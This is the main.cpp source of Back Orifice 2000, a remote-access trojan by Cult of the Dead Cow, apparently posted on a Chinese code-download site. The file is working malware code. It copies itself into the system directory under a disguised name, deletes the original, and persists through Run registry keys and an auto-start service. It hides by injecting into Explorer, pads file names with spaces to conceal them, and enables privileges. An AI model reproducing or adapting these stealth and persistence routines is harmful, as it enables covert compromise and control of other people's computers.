main.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:15k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. // ************************************************
  16. //         BO2K                         cDc 
  17. //                 Back Orifice 2000
  18. //         Written By DilDog and Sir Dystic
  19. //    Copyright (C) 1999,  Cult of the Dead Cow
  20. //  Special thanks to L0pht Heavy Industries, Inc.
  21. // ************************************************
  22. #include<windows.h>
  23. #include<main.h>
  24. #include<bo_debug.h>
  25. #include<functions.h>
  26. #include<plugins.h>
  27. #include<osversion.h>
  28. #include<bocomreg.h>
  29. #include<comm_native.h>
  30. #include<commandloop.h>
  31. #include<dll_load.h>
  32. #include<config.h>
  33. #include<pviewer.h>
  34. #include<process_hop.h>
  35. #ifdef NDEBUG
  36. #define HOOK_PROCESS
  37. //#define HIDE_COPY
  38. #endif
  39. HMODULE g_module=NULL;
  40. HANDLE g_hfm=NULL;
  41. DWORD g_dwThreadID=0;
  42. BOOL g_bRestart=FALSE;
  43. char g_svRestartProcess[64];
  44. BOOL g_bEradicate=FALSE;
  45. // --------------- Stealth options ----------------
  46. char g_svStealthOptions[]="<**CFG**>Stealth"
  47. #ifdef HIDE_COPY
  48.   "B:Run at startup=1"
  49.   "B:Delete original file=1"
  50.   "B:Insidious mode=0"
  51. #else
  52.   "B:Run at startup=0"
  53.   "B:Delete original file=0"
  54.   "B:Insidious mode=0"
  55. #endif
  56.                           "S[64]:Runtime pathname=UMGR32.EXE....................................................."
  57. #ifdef HOOK_PROCESS   
  58.   "B:Hide process=1"
  59. #else
  60.   "B:Hide process=0"
  61. #endif
  62.   "S[48]:Host process name (NT)=EXPLORER......................................."
  63.   "S[48]:Service Name (NT)=Remote Administration Service..................";
  64. void EradicateBO2K(void)
  65. {
  66. char *svRunRegKey;
  67. char *svTarget=GetCfgStr(g_svStealthOptions,"Runtime pathname");
  68. // Eradicate from run key
  69. if(g_bIsWinNT) {
  70. svRunRegKey="SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
  71. } else {
  72. svRunRegKey="Software\Microsoft\Windows\CurrentVersion\RunServices";
  73. }
  74. HKEY key;
  75. RegOpenKey(HKEY_LOCAL_MACHINE,svRunRegKey,&key);
  76. RegDeleteValue(key,svTarget);
  77. RegCloseKey(key);
  78. if(g_bIsWinNT) {
  79. // Eradicate from user reg key
  80. RegOpenKey(HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Run",&key);
  81. RegDeleteValue(key,svTarget);
  82. RegCloseKey(key);
  83. // Eradicate from service database
  84. SC_HANDLE scm=pOpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
  85. if(scm!=NULL) {
  86. SC_HANDLE srv=pOpenService(scm,GetCfgStr(g_svStealthOptions,"Service Name (NT)"),SERVICE_STOP|DELETE);
  87. if(srv!=NULL) {
  88. pDeleteService(srv);
  89. pCloseServiceHandle(srv);
  90. }
  91. pCloseServiceHandle(scm);
  92. }
  93. }
  94. }
  95. // Back Orifice Thread Entry Point 
  96. DWORD WINAPI EntryPoint(LPVOID lpParameter)
  97. {
  98. startofentrypoint:;
  99. g_bRestart=FALSE;
  100. g_module=(HMODULE)lpParameter;
  101. // Load up other DLLs just to make sure we have them (we're acting as a loader here).
  102. LoadLibrary("kernel32.dll");
  103. LoadLibrary("user32.dll");
  104. LoadLibrary("gdi32.dll");
  105. LoadLibrary("winspool.dll");
  106. LoadLibrary("advapi32.dll");
  107. LoadLibrary("shell32.dll");
  108. LoadLibrary("ole32.dll");
  109. LoadLibrary("oleaut32.dll");
  110. LoadLibrary("wsock32.dll");
  111. // Create useless window class
  112. WNDCLASS wndclass;
  113. wndclass.style = 0;
  114. wndclass.lpfnWndProc = DefWindowProc;
  115. wndclass.cbClsExtra = 0;
  116. wndclass.cbWndExtra = 0;
  117. wndclass.hInstance = g_module;
  118. wndclass.hIcon = NULL;
  119. wndclass.hCursor = NULL;
  120. wndclass.hbrBackground = NULL;
  121. wndclass.lpszMenuName = NULL;
  122. wndclass.lpszClassName = "WSCLAS";
  123. RegisterClass(&wndclass);
  124. // Determine OS version
  125. GetOSVersion();
  126. // Use Dynamic Libraries
  127. InitDynamicLibraries();
  128. // Enable permissions on Windows NT
  129. if(g_bIsWinNT) {
  130. HANDLE tok;
  131. if(pOpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&tok)) {
  132. LUID luid;
  133. TOKEN_PRIVILEGES tp;
  134. pLookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid);
  135. tp.PrivilegeCount=1;
  136. tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
  137. tp.Privileges[0].Luid=luid;
  138. pAdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL);
  139. pLookupPrivilegeValue(NULL,SE_SECURITY_NAME,&luid);
  140. tp.PrivilegeCount=1;
  141. tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
  142. tp.Privileges[0].Luid=luid;
  143. pAdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL);
  144. CloseHandle(tok);
  145. }
  146. }
  147. // Start up Command Dispatcher
  148. InitializeCommandDispatcher();
  149. // Initialize commands
  150. InitializeCommands();
  151. // Do Primary Command Loop
  152. CommandHandlerLoop();
  153. // Kill plugins
  154. TerminateCommands();
  155. // Kill Command Dispatcher
  156. KillCommandDispatcher();
  157. // Completely remove BO2K upon request
  158. if(g_bEradicate) {
  159. EradicateBO2K();
  160. }
  161. // Kill Dynamic Libraries
  162. KillDynamicLibraries();
  163. // Restart BO2K if desired
  164. if(g_bRestart) {
  165. if(g_svRestartProcess[0]=='') goto startofentrypoint;
  166. if(GetCfgBool(g_svStealthOptions,"Hide process") && g_bIsWinNT) {
  167. if(!SpawnBO2KThread(g_svRestartProcess)) 
  168. goto startofentrypoint;
  169. } else goto startofentrypoint;
  170. }
  171. return 0;
  172. }
  173. // WinMain: Program Entry Point
  174. extern "C" int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow);
  175. VOID WINAPI Handler( DWORD fdwControl ) 
  176. {
  177. }
  178. void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv)
  179. {
  180. SERVICE_STATUS_HANDLE ssh=pRegisterServiceCtrlHandler(GetCfgStr(g_svStealthOptions,"Service Name (NT)"), &Handler);
  181. SERVICE_STATUS ss;
  182. ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;
  183. ss.dwCurrentState=SERVICE_RUNNING;
  184. ss.dwControlsAccepted=0;
  185. ss.dwWin32ExitCode=NO_ERROR;
  186. ss.dwCheckPoint=0;
  187. ss.dwWaitHint=0;
  188. pSetServiceStatus(ssh,&ss);
  189. EntryPoint(GetModuleHandle(NULL));
  190. ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;
  191. ss.dwCurrentState=SERVICE_STOPPED;
  192. ss.dwControlsAccepted=0;
  193. ss.dwWin32ExitCode=NO_ERROR;
  194. ss.dwCheckPoint=0;
  195. ss.dwWaitHint=0;
  196. pSetServiceStatus(ssh,&ss);
  197. }
  198. int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
  199. {
  200. g_module=GetModuleHandle(NULL);
  201. GetOSVersion();
  202. InitDynamicLibraries();
  203. // Get stealth options
  204. BOOL bHideProcess=GetCfgBool(g_svStealthOptions,"Hide process");
  205. BOOL bRunAtStartup=GetCfgBool(g_svStealthOptions,"Run at startup");
  206. // Check for file to delete
  207. char *svCmdLine=GetCommandLine();
  208. while(svCmdLine[0]!='') {
  209. svCmdLine++;
  210. if((*(svCmdLine-1))==' ') break;
  211. }
  212. if(svCmdLine[0]!='') {
  213. if(GetCfgBool(g_svStealthOptions,"Delete original file")) {
  214. while(DeleteFile(svCmdLine)==0) {
  215. if(GetLastError()==ERROR_FILE_NOT_FOUND) break;
  216. Sleep(100);
  217. }
  218. }
  219. }
  220. // Determine how things should run at startup
  221. if(bRunAtStartup) {
  222. // Install levels:
  223. // 0: Not installed
  224. // 1: Installed, not run from anywhere
  225. // 2: Installed, run from user registry key
  226. // 3: Installed, run from system-wide registry key
  227. // 4: Installed, run as service
  228. int nInstall=0;
  229. char *svRunRegKey;
  230. if(g_bIsWinNT) {
  231. svRunRegKey="SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
  232. } else {
  233. svRunRegKey="Software\Microsoft\Windows\CurrentVersion\RunServices";
  234. }
  235. // Get current module location
  236. char svFileName[512];
  237. GetModuleFileName(g_module,svFileName,512);
  238. //MessageBox(NULL,svFileName,"File Name",MB_OK);
  239. // Get target installation pathname
  240. char svName[MAX_PATH];
  241. char svTargetName[MAX_PATH],*svFilePart;
  242. char *svTarget=GetCfgStr(g_svStealthOptions,"Runtime pathname");
  243. GetSystemDirectory(svName,MAX_PATH-1);
  244. lstrcat(svName,"\");
  245. lstrcpyn(svName+lstrlen(svName),svTarget,MAX_PATH-lstrlen(svName));
  246. GetFullPathName(svName,MAX_PATH,svTargetName,&svFilePart);
  247. // Add insidious extension
  248. if(GetCfgBool(g_svStealthOptions,"Insidious mode")) {
  249. memset(svTargetName+lstrlen(svTargetName),' ',MAX_PATH-lstrlen(svTargetName));
  250. svTargetName[MAX_PATH-2]='e';
  251. svTargetName[MAX_PATH-1]='';
  252. }
  253. // ------------- Determine current install level -----------------
  254. // ----- 1: Check for installation -----
  255. if(GetFileAttributes(svTargetName)!=0xFFFFFFFF) {
  256. nInstall=1;
  257. }
  258. // ----- 2: Check user registry key (NT only)
  259. if(nInstall==1 && g_bIsWinNT) {
  260. HKEY key;
  261. if(RegCreateKey(HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Run",&key)==ERROR_SUCCESS) {
  262. DWORD len=512;
  263. char svRegPath[512];
  264. if(RegQueryValueEx(key,svFilePart,NULL,NULL,(BYTE *)svRegPath,&len)==ERROR_SUCCESS) {
  265. if(lstrcmpi(svRegPath,svTargetName)==0) {
  266. nInstall=2;
  267. }
  268. }
  269. }
  270. }
  271. // ----- 3: Check system-wide registry key
  272. if(nInstall==1) {
  273. HKEY key;
  274. if(RegCreateKey(HKEY_LOCAL_MACHINE,svRunRegKey,&key)==ERROR_SUCCESS) {
  275. DWORD len=512;
  276. char svRegPath[512];
  277. if(RegQueryValueEx(key,svFilePart,NULL,NULL,(BYTE *)svRegPath,&len)==ERROR_SUCCESS) {
  278. if(lstrcmpi(svRegPath,svTargetName)==0) {
  279. nInstall=3;
  280. }
  281. }
  282. }
  283. }
  284. // ----- 4: Check service database (NT only)
  285. if(nInstall==1 && g_bIsWinNT) {
  286. SC_HANDLE scm=pOpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
  287. if(scm!=NULL) {
  288. char svBuf[512];
  289. DWORD len;
  290. if(pGetServiceDisplayName(scm,GetCfgStr(g_svStealthOptions,"Service Name (NT)"),svBuf,&len)!=0) {
  291. nInstall=4;
  292. }
  293. pCloseServiceHandle(scm);
  294. }
  295. }
  296. // ------------- See if we can raise our install level ----------------
  297. int nOldInstall=nInstall;
  298. if(nInstall==0 || (lstrcmpi(svFileName,svTargetName)!=0)) {
  299. // Make copy of file
  300. while(CopyFile(svFileName,svTargetName,FALSE)==0) Sleep(1000);
  301. // And now run the copy, si
  302. STARTUPINFO si;
  303. PROCESS_INFORMATION pi;
  304. char svComLine[2048];
  305. lstrcpyn(svComLine,svTargetName,2048);
  306. lstrcpyn(svComLine+lstrlen(svComLine)," ",2048-lstrlen(svComLine));
  307. lstrcpyn(svComLine+lstrlen(svComLine),svFileName,2048-lstrlen(svComLine));
  308. memset(&si,0,sizeof(STARTUPINFO));
  309. si.cb=sizeof(STARTUPINFO);
  310. si.dwFlags=STARTF_FORCEOFFFEEDBACK;
  311. //MessageBox(NULL,svComLine,"Command Line before...",MB_OK);
  312. CreateProcess(NULL,svComLine,NULL,NULL,0,0,NULL,NULL,&si,&pi);
  313. KillDynamicLibraries();
  314. return 0;
  315. }
  316. if((nInstall>0) && (nInstall<4) && g_bIsWinNT) {
  317. SC_HANDLE scm=pOpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE);
  318. if(scm!=NULL) {
  319. char svBinary[1024];
  320. wsprintf(svBinary,""%s"",svTargetName);
  321. SC_HANDLE svc=pCreateService(scm,
  322. GetCfgStr(g_svStealthOptions,"Service Name (NT)"),
  323. GetCfgStr(g_svStealthOptions,"Service Name (NT)"),
  324. 0,
  325. SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
  326. SERVICE_AUTO_START,
  327. SERVICE_ERROR_IGNORE,
  328. svBinary,
  329. NULL,
  330. NULL,
  331. NULL,
  332. NULL,
  333. NULL);
  334. if(svc!=NULL) {
  335. nInstall=4;
  336. pCloseServiceHandle(svc);
  337. }
  338. pCloseServiceHandle(scm);
  339. }
  340. }
  341. if((nInstall>0) && (nInstall<3)) {
  342. HKEY key;
  343. if(RegOpenKey(HKEY_LOCAL_MACHINE,svRunRegKey,&key)==ERROR_SUCCESS) {
  344. if(RegSetValueEx(key,svTarget,0,REG_SZ,(BYTE *)svTargetName,lstrlen(svTargetName))==ERROR_SUCCESS) {
  345. nInstall=3;
  346. }
  347. RegCloseKey(key);
  348. }
  349. }
  350. if((nInstall>0) && (nInstall<2) && g_bIsWinNT) {
  351. HKEY key;
  352. if(RegOpenKey(HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Run",&key)==ERROR_SUCCESS) {
  353. if(RegSetValueEx(key,svTarget,0,REG_SZ,(BYTE *)svTargetName,lstrlen(svTargetName))==ERROR_SUCCESS) {
  354. nInstall=2;
  355. }
  356. RegCloseKey(key);
  357. }
  358. }
  359. // ------------------- Clean up OLD install level ---------------------
  360. if(nInstall!=nOldInstall) {
  361. if(nOldInstall==2) {
  362. HKEY key;
  363. if(RegOpenKey(HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Run",&key)==ERROR_SUCCESS) {
  364. RegDeleteValue(key,svFilePart);
  365. RegCloseKey(key);
  366. }
  367. }
  368. if(nOldInstall==3) {
  369. HKEY key;
  370. if(RegOpenKey(HKEY_LOCAL_MACHINE,svRunRegKey,&key)==ERROR_SUCCESS) {
  371. RegDeleteValue(key,svFilePart);
  372. RegCloseKey(key);
  373. }
  374. }
  375. }
  376. // Start BO2K Thread
  377. if(g_bIsWinNT && nInstall==4) {
  378. char svUserName[256];
  379. DWORD dwBufSize=256;
  380. GetUserName(svUserName,&dwBufSize);
  381. //MessageBox(NULL,svUserName,"UserName",MB_OK|MB_ICONINFORMATION|MB_TOPMOST|MB_SETFOREGROUND);
  382. if(lstrcmpi(svUserName,"SYSTEM")==0) {
  383. SERVICE_TABLE_ENTRY ste[2];
  384. ste[0].lpServiceName=GetCfgStr(g_svStealthOptions,"Service Name (NT)");
  385. ste[0].lpServiceProc=ServiceMain;
  386. ste[1].lpServiceName=NULL;
  387. ste[1].lpServiceProc=NULL;
  388. if(pStartServiceCtrlDispatcher(ste)>0) {
  389. KillDynamicLibraries();
  390. return 0;
  391. }
  392. } else {
  393. SC_HANDLE scm=pOpenSCManager(NULL,NULL,SC_MANAGER_CONNECT);
  394. if(scm!=NULL) {
  395. SC_HANDLE svc=pOpenService(scm,GetCfgStr(g_svStealthOptions,"Service Name (NT)"),SERVICE_START);
  396. if(svc!=NULL) {
  397. if(pStartService(svc,0,NULL)>0){
  398. pCloseServiceHandle(svc);
  399. pCloseServiceHandle(scm);
  400. KillDynamicLibraries();
  401. return 0;
  402. } else {
  403. if(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING) {
  404. pCloseServiceHandle(svc);
  405. pCloseServiceHandle(scm);
  406. KillDynamicLibraries();
  407. return 0;
  408. }
  409. }
  410. pCloseServiceHandle(svc);
  411. }
  412. pCloseServiceHandle(scm);
  413. }
  414. }
  415. }
  416. }
  417. if(g_bIsWinNT) {
  418. char svUserName[256];
  419. DWORD dwBufSize=256;
  420. GetUserName(svUserName,&dwBufSize);
  421. if(lstrcmpi(svUserName,"LocalSystem")==0) {
  422. EntryPoint(GetModuleHandle(NULL));
  423. KillDynamicLibraries();
  424. return 0;
  425. }
  426. }
  427. if(bHideProcess) {
  428. // Hide process
  429. char *svProcess=GetCfgStr(g_svStealthOptions,"Host process name");
  430. SpawnBO2KThread(svProcess);
  431. } else {
  432. // ---------- Not process hiding ---------------
  433. EntryPoint(GetModuleHandle(NULL));
  434. }
  435. KillDynamicLibraries();
  436. return 0;
  437. }